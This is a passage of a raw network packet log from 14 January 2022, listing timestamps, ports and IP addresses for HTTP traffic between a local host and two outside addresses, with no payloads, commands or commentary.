Jan 14, 2022 09:26:02.338444948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.338463068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.338620901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.338635921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.338798046 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.338816881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.338968039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.338984013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.339143991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.339162111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.339319944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.339334011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.339495897 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.339515924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.339668989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.339689016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.339844942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.339868069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.340023041 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.340042114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.340195894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.340215921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.340356112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.340373039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.340534925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.340553999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.340687037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.340704918 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.340858936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.340883017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.340939045 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.341049910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.341103077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.341110945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.341269970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.341294050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.341434956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.341450930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.341590881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.341612101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.342098951 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.342242956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.342438936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.342554092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.342689991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.342735052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.343797922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.343952894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.344103098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.344121933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.344276905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.344293118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.344471931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.344490051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.344641924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.344659090 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.344814062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.344835997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.345002890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.345024109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.345175028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.345195055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.345364094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.345382929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.345535994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.345555067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.345724106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.345743895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.345899105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.345921040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.346084118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.346101046 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.346260071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.346276999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.346442938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.346457958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.346621990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.346641064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.346802950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.346821070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.346985102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.347007990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.347162008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.347177029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.347337961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.347354889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.363573074 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.363730907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.363876104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.363986969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.364109993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.364203930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.364450932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.364473104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.364592075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.364727974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.364743948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.364860058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.364911079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.365052938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.365174055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.365190983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.365377903 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.365396976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.367252111 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.367288113 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.369000912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.369034052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.369162083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.369180918 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.369324923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.369343996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.369491100 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.369507074 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.369647980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.369667053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.369812012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.369831085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.370033979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.370084047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.370090961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.370290995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.370309114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.370438099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.370452881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.370609045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.370625019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.370870113 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.370888948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.370897055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.385638952 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.385674000 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.392816067 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.392862082 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.399069071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.399094105 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.399368048 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.399386883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.399553061 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.399565935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.399744034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.399765015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.399844885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.400041103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.400064945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.400211096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.400228977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.400403023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.400418997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.400523901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.400696039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.400712967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.400881052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.400895119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.401052952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.401070118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.401242971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.401264906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.401408911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.401427984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.401592970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.401613951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.401747942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.401904106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.402059078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.402178049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.402323008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.402410984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.402527094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.402637959 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.402678013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.402851105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.402868986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.403029919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.403043985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.403230906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.403249025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.403523922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.403538942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.403544903 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.403696060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.403713942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.403836966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.403943062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.403979063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.404126883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.404145002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.404309988 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.404324055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.404480934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.404496908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.404653072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.404668093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.404824018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.404839993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.404997110 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.405010939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.405173063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.405189037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.405471087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.406948090 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.406970978 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.406989098 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.407002926 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.407018900 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.407037020 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.407465935 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.426955938 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.427705050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.427742004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.427793026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.428112984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.428138018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.428364992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.428391933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.428534985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.428550959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.428714991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.428733110 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.428891897 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.428906918 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.429116964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.429267883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.429353952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.429438114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.429534912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.429717064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.429733992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.429949045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.430191994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.430296898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.430721045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.430738926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.430746078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.430908918 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.430922985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.431080103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.431093931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.431265116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.431282043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.431437969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.431453943 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.431674957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.431690931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.431854963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.431869984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.432120085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.432136059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.432142973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.432291031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.432307005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.432467937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.432485104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.432638884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.432655096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.432811975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.432831049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.432919025 CET	80	49903	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.432981968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.433073044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.433089972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.433185101 CET	49903	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.433188915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.433295965 CET	49903	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.433304071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.433557034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.433573008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.433739901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.433758020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.433928013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.433944941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.434103012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.434119940 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.434211969 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.434374094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.434389114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.434395075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.434580088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.434597015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.434756994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.434777975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.434937954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.434954882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.435108900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.435123920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.435293913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.435311079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.435467005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.435484886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.435650110 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.435672998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.435826063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.435842991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.436012983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.436033010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.436199903 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.436296940 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.436315060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.436481953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.436500072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.436671972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.436687946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.436841011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.436857939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.437011957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.437028885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.437196016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.437211037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.437374115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.437391043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.437565088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.437580109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.437738895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.437756062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.437927961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.437944889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.451456070 CET	80	49903	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.451826096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.451870918 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.451879025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.451987982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.452003002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.452162027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.452178955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.452332973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.452348948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.452507019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.452522993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.452685118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.452704906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.452862978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.452877998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.453035116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.453054905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.453208923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.453229904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.453387976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.453408003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.453578949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.453594923 CET	49891	80	192.168.2.4	185.215.113.35
